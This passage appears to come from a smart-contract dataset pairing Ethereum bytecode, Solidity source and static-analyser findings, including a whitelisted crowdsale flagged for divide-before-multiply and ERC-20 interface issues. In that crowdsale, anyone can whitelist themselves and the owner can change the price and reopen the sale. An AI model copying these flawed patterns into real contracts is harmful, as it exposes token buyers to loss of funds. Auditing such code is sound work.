601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212204f5144467f9c3aee5274aa512ecad651c9bf16c18e4047dcd97ce6a51fa7dc2c64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,293
0xe3147bc1046fab87292e1b743c1e657b37262496
pragma solidity ^0.4.25; contract token { function transfer(address receiver, uint256 amount) public; function balanceOf(address _owner) public pure returns (uint256 balance); function burnFrom(address from, uint256 value) public; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * To buy ADT user must be Whitelisted * Add user address and value to Whitelist * Remove user address from Whitelist * Check if User is Whitelisted * Check if User have equal or greater value than Whitelisted */ library Whitelist { struct List { mapping(address => bool) registry; mapping(address => uint256) amount; } function addUserWithValue(List storage list, address _addr, uint256 _value) internal { list.registry[_addr] = true; list.amount[_addr] = _value; } function add(List storage list, address _addr) internal { list.registry[_addr] = true; } function remove(List storage list, address _addr) internal { list.registry[_addr] = false; list.amount[_addr] = 0; } function check(List storage list, address _addr) view internal returns (bool) { return list.registry[_addr]; } function checkValue(List storage list, address _addr, uint256 _value) view internal returns (bool) { /** * divided by 10^18 because ether decimal is 18 * and conversion to ether to uint256 is carried out */ return list.amount[_addr] <= _value; } } contract owned { address public owner; constructor() public { owner = 0x91520dc19a9e103a849076a9dd860604ff7a6282; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /** * Contract to whitelist User for buying token */ contract Whitelisted is owned { Whitelist.List private _list; uint256 decimals = 100000000000000; modifier onlyWhitelisted() { require(Whitelist.check(_list, msg.sender) == true); _; } event AddressAdded(address _addr); event AddressRemoved(address _addr); event AddressReset(address _addr); /** * Add User to Whitelist with ether amount * @param _address User Wallet address * @param amount The amount of ether user Whitelisted */ function addWhiteListAddress(address _address, uint256 amount) public { require(!isAddressWhiteListed(_address)); uint256 val = SafeMath.mul(amount, decimals); Whitelist.addUserWithValue(_list, _address, val); emit AddressAdded(_address); } /** * Set User's Whitelisted ether amount to 0 so that * during second buy transaction user won't need to * validate for Whitelisted amount */ function resetUserWhiteListAmount() internal { Whitelist.addUserWithValue(_list, msg.sender, 0); emit AddressReset(msg.sender); } /** * Disable User from Whitelist so user can't buy token * @param _addr User Wallet address */ function disableWhitelistAddress(address _addr) public onlyOwner { Whitelist.remove(_list, _addr); emit AddressRemoved(_addr); } /** * Check if User is Whitelisted * @param _addr User Wallet address */ function isAddressWhiteListed(address _addr) public view returns (bool) { return Whitelist.check(_list, _addr); } /** * Check if User has enough ether amount in Whitelisted to buy token * @param _addr User Wallet address * @param amount The amount of ether user inputed */ function isWhiteListedValueValid(address _addr, uint256 amount) public view returns (bool) { return Whitelist.checkValue(_list, _addr, amount); } /** * Check if User is valid to buy token * @param _addr User Wallet address * @param amount The amount of ether user inputed */ function isValidUser(address _addr, uint256 amount) public view returns (bool) { return isAddressWhiteListed(_addr) && isWhiteListedValueValid(_addr, amount); } /** * returns the total amount of the address hold by the user during white list */ function getUserAmount(address _addr) public constant returns (uint256) { require(isAddressWhiteListed(_addr)); return _list.amount[_addr]; } } contract AccessCrowdsale is Whitelisted { using SafeMath for uint256; address public beneficiary; uint256 public SoftCap; uint256 public HardCap; uint256 public amountRaised; uint256 public preSaleStartdate; uint256 public preSaleDeadline; uint256 public mainSaleStartdate; uint256 public mainSaleDeadline; uint256 public price; uint256 public fundTransferred; uint256 public tokenSold; token public tokenReward; mapping(address => uint256) public balanceOf; bool crowdsaleClosed = false; bool returnFunds = false; event GoalReached(address recipient, uint totalAmountRaised); event FundTransfer(address backer, uint amount, bool isContribution); /** * Constrctor function * * Setup the owner */ constructor() public { beneficiary = 0x91520dc19a9e103a849076a9dd860604ff7a6282; SoftCap = 15000 ether; HardCap = 150000 ether; preSaleStartdate = 1550102400; preSaleDeadline = 1552608000; mainSaleStartdate = 1552611600; mainSaleDeadline = 1560643200; price = 0.0004 ether; tokenReward = token(0x97e4017964bc43ec8b3ceadeae27d89bc5a33c7b); } /** * Fallback function * * The function without name is the default function that is called whenever anyone sends funds to a contract */ function () payable public { uint256 bonus = 0; uint256 amount; uint256 ethamount = msg.value; require(!crowdsaleClosed); // divide by price to get the actual adt token uint256 onlyAdt = ethamount.div(price); // multiply adt value with decimal of adt to get the wei adt uint256 weiAdt = SafeMath.mul(onlyAdt, 100000000000000); require(isValidUser(msg.sender, weiAdt)); balanceOf[msg.sender] = balanceOf[msg.sender].add(ethamount); amountRaised = amountRaised.add(ethamount); //add bonus for funders if(now >= preSaleStartdate && now <= preSaleDeadline){ amount = ethamount.div(price); bonus = amount * 33 / 100; amount = amount.add(bonus); } else if(now >= mainSaleStartdate && now <= mainSaleStartdate + 30 days){ amount = ethamount.div(price); bonus = amount * 25/100; amount = amount.add(bonus); } else if(now >= mainSaleStartdate + 30 days && now <= mainSaleStartdate + 45 days){ amount = ethamount.div(price); bonus = amount * 15/100; amount = amount.add(bonus); } else if(now >= mainSaleStartdate + 45 days && now <= mainSaleStartdate + 60 days){ amount = ethamount.div(price); bonus = amount * 10/100; amount = amount.add(bonus); } else { amount = ethamount.div(price); bonus = amount * 7/100; amount = amount.add(bonus); } amount = amount.mul(100000000000000); tokenReward.transfer(msg.sender, amount); tokenSold = tokenSold.add(amount); resetUserWhiteListAmount(); emit FundTransfer(msg.sender, ethamount, true); } modifier afterDeadline() {if (now >= mainSaleDeadline) _; } /** *ends the campaign after deadline */ function endCrowdsale() public afterDeadline onlyOwner { crowdsaleClosed = true; } function EnableReturnFunds() public onlyOwner { returnFunds = true; } function DisableReturnFunds() public onlyOwner { returnFunds = false; } function ChangePrice(uint256 _price) public onlyOwner { price = _price; } function ChangeBeneficiary(address _beneficiary) public onlyOwner { beneficiary = _beneficiary; } function ChangePreSaleDates(uint256 _preSaleStartdate, uint256 _preSaleDeadline) onlyOwner public{ if(_preSaleStartdate != 0){ preSaleStartdate = _preSaleStartdate; } if(_preSaleDeadline != 0){ preSaleDeadline = _preSaleDeadline; } if(crowdsaleClosed == true){ crowdsaleClosed = false; } } function ChangeMainSaleDates(uint256 _mainSaleStartdate, uint256 _mainSaleDeadline) onlyOwner public{ if(_mainSaleStartdate != 0){ mainSaleStartdate = _mainSaleStartdate; } if(_mainSaleDeadline != 0){ mainSaleDeadline = _mainSaleDeadline; } if(crowdsaleClosed == true){ crowdsaleClosed = false; } } /** * Get all the remaining token back from the contract */ function getTokensBack() onlyOwner public{ require(crowdsaleClosed); uint256 remaining = tokenReward.balanceOf(this); tokenReward.transfer(beneficiary, remaining); } /** * User can get their ether back if crowdsale didn't meet it's requirement */ function safeWithdrawal() public afterDeadline { if (returnFunds) { uint amount = balanceOf[msg.sender]; if (amount > 0) { if (msg.sender.send(amount)) { emit FundTransfer(msg.sender, amount, false); balanceOf[msg.sender] = 0; fundTransferred = fundTransferred.add(amount); } } } if (returnFunds == false && beneficiary == msg.sender) { uint256 ethToSend = amountRaised - fundTransferred; if (beneficiary.send(ethToSend)) { fundTransferred = fundTransferred.add(ethToSend); } } } function getResponse(uint256 val) public constant returns(uint256) { uint256 adtDec = 100000000000000; uint256 onlyAdt = val.div(price); // multiply adt value with decimal of adt to get the wei adt uint256 weiAdt = SafeMath.mul(onlyAdt, adtDec); return weiAdt; } }
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806311c4f2b3146106085780632095f2d414610655578063327a943a1461066c57806338af3eed146106c35780635040c6e71461071a578063519ee19e1461074557806352e686a0146107705780635a9c3ee4146107875780635e44423c146107b257806367a7390d146107e95780636b235bdc146108145780636e66f6e91461085757806370a08231146108ae57806370c18199146109055780637a52ad76146109465780637af854111461097d5780637b3e5e7b146109945780637d2a0f7a146109bf5780637d851c7014610a245780638da5cb5b14610a3b578063a035b1fe14610a92578063ad23de6314610abd578063debcbdcf14610b18578063ecb071cf14610b43578063f0b5325614610b6e578063f2fde38b14610b99578063f9327b9f14610bdc578063f99fddae14610c07578063f9be029f14610c6c578063fb92488b14610caf578063fd6b7ef814610cdc575b6000806000806000809450349250601160009054906101000a900460ff161515156101b557600080fd5b6101ca600c5484610cf390919063ffffffff16565b91506101dc82655af3107a4000610d0e565b90506101e83382610d41565b15156101f357600080fd5b61024583601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d6690919063ffffffff16565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061029d83600754610d6690919063ffffffff16565b60078190555060085442101580156102b757506009544211155b156102ff576102d1600c5484610cf390919063ffffffff16565b93506064602185028115156102e257fe5b0494506102f88585610d6690919063ffffffff16565b935061046e565b600a544210158015610318575062278d00600a54014211155b1561036057610332600c5484610cf390919063ffffffff16565b935060646019850281151561034357fe5b0494506103598585610d6690919063ffffffff16565b935061046d565b62278d00600a5401421015801561037e5750623b5380600a54014211155b156103c657610398600c5484610cf390919063ffffffff16565b93506064600f85028115156103a957fe5b0494506103bf8585610d6690919063ffffffff16565b935061046c565b623b5380600a540142101580156103e45750624f1a00600a54014211155b1561042c576103fe600c5484610cf390919063ffffffff16565b93506064600a850281151561040f57fe5b0494506104258585610d6690919063ffffffff16565b935061046b565b610441600c5484610cf390919063ffffffff16565b935060646007850281151561045257fe5b0494506104688585610d6690919063ffffffff16565b93505b5b5b5b610487655af3107a400085610d0e90919063ffffffff16565b9350600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33866040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561054e57600080fd5b505af1158015610562573d6000803e3d6000fd5b5050505061057b84600e54610d6690919063ffffffff16565b600e81905550610589610d84565b7fe842aea7a5f1b01049d752008c53c52890b1a6daf660cf39e8eec506112bbdf633846001604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390a15050505050005b34801561061457600080fd5b50610653600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df6565b005b34801561066157600080fd5b5061066a610e8f565b005b34801561067857600080fd5b506106ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f13565b6040518082815260200191505060405180910390f35b3480156106cf57600080fd5b506106d8610f72565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072657600080fd5b5061072f610f98565b6040518082815260200191505060405180910390f35b34801561075157600080fd5b5061075a610f9e565b6040518082815260200191505060405180910390f35b34801561077c57600080fd5b50610785610fa4565b005b34801561079357600080fd5b5061079c61101c565b6040518082815260200191505060405180910390f35b3480156107be57600080fd5b506107e76004803603810190808035906020019092919080359060200190929190505050611022565b005b3480156107f557600080fd5b506107fe6110dd565b6040518082815260200191505060405180910390f35b34801561082057600080fd5b50610855600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110e3565b005b34801561086357600080fd5b5061086c611182565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108ba57600080fd5b506108ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111a8565b6040518082815260200191505060405180910390f35b34801561091157600080fd5b50610930600480360381019080803590602001909291905050506111c0565b6040518082815260200191505060405180910390f35b34801561095257600080fd5b5061097b60048036038101908080359060200190929190803590602001909291905050506111fd565b005b34801561098957600080fd5b506109926112b8565b005b3480156109a057600080fd5b506109a9611330565b6040518082815260200191505060405180910390f35b3480156109cb57600080fd5b50610a0a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611336565b604051808215151515815260200191505060405180910390f35b348015610a3057600080fd5b50610a3961134c565b005b348015610a4757600080fd5b50610a506115c0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a9e57600080fd5b50610aa76115e5565b6040518082815260200191505060405180910390f35b348015610ac957600080fd5b50610afe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115eb565b604051808215151515815260200191505060405180910390f35b348015610b2457600080fd5b50610b2d6115ff565b6040518082815260200191505060405180910390f35b348015610b4f57600080fd5b50610b58611605565b6040518082815260200191505060405180910390f35b348015610b7a57600080fd5b50610b8361160b565b6040518082815260200191505060405180910390f35b348015610ba557600080fd5b50610bda600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611611565b005b348015610be857600080fd5b50610bf16116af565b6040518082815260200191505060405180910390f35b348015610c1357600080fd5b50610c52600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d41565b604051808215151515815260200191505060405180910390f35b348015610c7857600080fd5b50610cad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116b5565b005b348015610cbb57600080fd5b50610cda60048036038101908080359060200190929190505050611781565b005b348015610ce857600080fd5b50610cf16117e6565b005b6000808284811515610d0157fe5b0490508091505092915050565b60008082840290506000841480610d2f5750828482811515610d2c57fe5b04145b1515610d3757fe5b8091505092915050565b6000610d4c836115eb565b8015610d5e5750610d5d8383611336565b5b905092915050565b6000808284019050838110151515610d7a57fe5b8091505092915050565b610d916001336000611a65565b7f121b72c2ecdf779bcceca1d44fed6668277ab0e4eaf332deb11e2a56d4bd6c0a33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000610e01836115eb565b151515610e0d57600080fd5b610e1982600354610d0e565b9050610e2760018483611a65565b7fa226db3f664042183ee0281230bba26cbf7b5057e50aee7f25a175ff45ce4d7f83604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1505050565b600b5442101515610f11576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef557600080fd5b6001601160006101000a81548160ff0219169083151502179055505b565b6000610f1e826115eb565b1515610f2957600080fd5b6001800160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b600e5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fff57600080fd5b6001601160016101000a81548160ff021916908315150217905550565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107d57600080fd5b60008214151561108f57816008819055505b6000811415156110a157806009819055505b60011515601160009054906101000a900460ff16151514156110d9576000601160006101000a81548160ff0219169083151502179055505b5050565b600d5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561113e57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60106020528060005260406000206000915090505481565b600080600080655af3107a400092506111e4600c5486610cf390919063ffffffff16565b91506111f08284610d0e565b9050809350505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125857600080fd5b60008214151561126a5781600a819055505b60008114151561127c5780600b819055505b60011515601160009054906101000a900460ff16151514156112b4576000601160006101000a81548160ff0219169083151502179055505b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131357600080fd5b6000601160016101000a81548160ff021916908315150217905550565b60075481565b600061134460018484611b0a565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a957600080fd5b601160009054906101000a900460ff1615156113c457600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561148157600080fd5b505af1158015611495573d6000803e3d6000fd5b505050506040513d60208110156114ab57600080fd5b81019080805190602001909291905050509050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156115a557600080fd5b505af11580156115b9573d6000803e3d6000fd5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b60006115f8600183611b5a565b9050919050565b60085481565b600a5481565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561166c57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561171057600080fd5b61171b600182611bb3565b7f24a12366c02e13fe4a9e03d86a8952e85bb74a456c16e4a18b6d8295700b74bb81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117dc57600080fd5b80600c8190555050565b600080600b5442101515611a6157601160019054906101000a900460ff161561196957601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506000821115611968573373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015611967577fe842aea7a5f1b01049d752008c53c52890b1a6daf660cf39e8eec506112bbdf633836000604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001935050505060405180910390a16000601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196082600d54610d6690919063ffffffff16565b600d819055505b5b5b60001515601160019054906101000a900460ff1615151480156119d957503373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15611a6057600d54600754039050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015611a5f57611a5881600d54610d6690919063ffffffff16565b600d819055505b5b5b5050565b60018360000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808360010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000818460010160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111590509392505050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008260010160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505600a165627a7a72305820ca9d6a12440b12eab3af8265405fc5e2c5778440c4fc4aa21c665bacd828f1f30029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
10,294
0xb0a8ef7699ef82ba43cac7e9d22791e3ebfbdeeb
pragma solidity ^0.6.6; /** *"SPDX-License-Identifier: MIT" *AntiCrypto Token Contract source code */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * Available since v3.1. */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function 